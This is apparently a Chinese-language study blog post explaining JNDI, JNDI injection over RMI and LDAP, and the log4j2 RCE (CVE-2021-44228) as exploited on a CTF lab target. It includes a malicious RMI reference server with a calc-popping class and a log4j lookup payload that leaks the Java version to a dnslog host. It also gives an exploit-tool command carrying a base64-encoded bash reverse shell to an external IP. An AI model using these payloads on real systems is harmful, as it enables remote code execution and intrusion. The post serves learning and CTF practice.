目录

  1. 1. 前言
  2. 2. JNDI概述
    1. 2.1. Naming Service 命名服务
    2. 2.2. Directory Service 目录服务
    3. 2.3. API
  3. 3. JNDI结构
    1. 3.1. InitialContext类
    2. 3.2. Reference类
  4. 4. JNDI注入
    1. 4.1. RMI注入
      1. 4.1.1. 调试
    2. 4.2. LDAP注入
  5. 5. log4j2 RCE(CVE-2021-44228)
    1. 5.1. Apache log4j漏洞靶机
      1. 5.1.1. 验证
      2. 5.1.2. 利用

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

JNDI注入

2024/1/23 Web CVE Java
  |     |   总文章阅读量:

前言

期末考结束了,java这块耽搁太久了

JNDI注入,就是那个让安全圈过年的log4j2漏洞的原理

参考:

https://boogipop.com/2023/03/02/%E4%BB%8ERMI%E5%88%B0JNDI%E6%B3%A8%E5%85%A5/

https://tttang.com/archive/1611/

https://xz.aliyun.com/t/12277

调试工具:vscode,jdk8u111


JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用

即通过调用 JNDI 的 API 可以定位资源和其他程序对象,访问系统的命名服务(Naming Service)和目录服务(Directory Service)

Naming Service 命名服务

命名服务将名称和对象进行关联,提供通过名称找到对象的操作

例如:DNS 系统将计算机名和 IP 地址进行关联;文件系统将文件名和文件句柄进行关联

名称系统中一些重要的概念:

  • Bindings:表示一个名称和对应对象的绑定关系,

    例:在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。

  • Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。

    例:在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)

  • References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储

    可以理解为 C/C++ 中的指针,引用中包含了获取实际对象所需的信息,甚至对象的实际状态。

    例:文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。


Directory Service 目录服务

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性

目录服务中的对象称之为目录对象

提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。

例:

NISNetwork Information Service,Solaris 系统中用于查找系统相关信息的目录服务;

Active Directory:为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;

其他基于 LDAP 协议实现的目录服务


API

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI ,如图:

image-20240123172310525

JNDI分为四种服务:

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

RMI我们前面已经学过了它的反序列化隐患,而其余的几种也存在安全隐患


JNDI结构

JNDI 的功能实现:

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 ContextBindingsReferences、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

InitialContext类

构造方法:

// 构建一个初始上下文。
InitialContext() 
// 构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
// 使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

// 将名称绑定到对象。 
bind(Name name, Object obj) 
// 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
// 检索命名对象。
lookup(String name)  
// 将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
// 取消绑定命名对象。
unbind(String name)  

demo:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        // 在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference类

该类表示对在命名/目录系统外部找到的对象的引用

构造方法:

// 为类名为“className”的对象构造一个新的引用。
Reference(String className) 
// 为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
// 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
// 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

// 将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
// 将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
// 从此引用中删除所有地址。  
void clear() 
// 检索索引posn上的地址。 
RefAddr get(int posn) 
// 检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
// 检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
// 检索引用引用的对象的类名。 
String getClassName() 
// 检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
// 检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
// 从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
// 检索此引用中的地址数。 
int size() 
// 生成此引用的字符串表示形式。
String toString() 

demo:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

JNDI注入

版本:(jdk8下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html#license-lightbox)

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下

RMI注入

以一个 RMI 服务为例子,先创建一个 RMI 服务,然后再创建 JNDI 的服务端和客户端,文件结构就是之前文章中的 RMI 基础上再加上 JNDI 服务端和客户端

服务端:

package com.JNDI;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        // 创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }

}

然后准备一个弹计算器的恶意class

import java.io.IOException;

public class Calculator {
    public Calculator() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

接下来准备客户端

package com.JNDI;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:7778/RCE";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

然后在恶意class的目录下用python起一个http服务,端口要和前面第三个位置(即表示恶意class的位置)一样

python -m http.server 8081

接下来启动服务端,再启动客户端,即可弹计算器

我这里之前调试的jdk版本太高了,jndi注入不了弹不出计算器,换了个8u111的才弹出来

image-20240124134316124

调试

断点给在客户端的initialContext.lookup(uri)方法,启动调试并跟进

首先进入了InitialContext#lookup:

image-20240124134903022

调用里面的lookup,而这个lookup实际上指的是GenericURLContext#lookup,这次JNDI调用的是RMI服务,因此进入到了GenericURLContext,对应不同的服务contenxt也会不同

然后调了半天调不出我要找的方法,开摆,不会是版本不一样导致的吧


LDAP注入

在rmi注入被修复之后的版本,客户端执行上面的操作会报错Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.,因为trustURLCodebase默认变为了false,因此无法实例化恶意类了

这种情况可以用ldap进行绕过


log4j2 RCE(CVE-2021-44228)

Apache Log4j2是一个基于Java的日志记录工具。

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞

版本:2.0 <= Apache log4j2 <= 2.14.1

Apache log4j漏洞靶机

靶机来自NSSCTF:https://www.nssctf.cn/problem/1124

验证

用dnslog验证,给参数c传入payload,同时验证版本

${jndi:ldap://${sys:java.version}.pzsvx8i3vjkmt5jek36lwlh80z6pue.oastify.com}

更多外带敏感信息参考:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#JndiLookup

image-20240124173547326

回显则说明存在漏洞,版本是1.8.0_144,只有ldap注入

利用

使用工具JNDI-Injection-Exploit.jar:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvODAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "127.0.0.1"

然后我想了想这里我是不是得开三个内网穿透端口,nc一个,ldap一个,还要给内网8180一个。。。寄(花生壳免费最多开两个)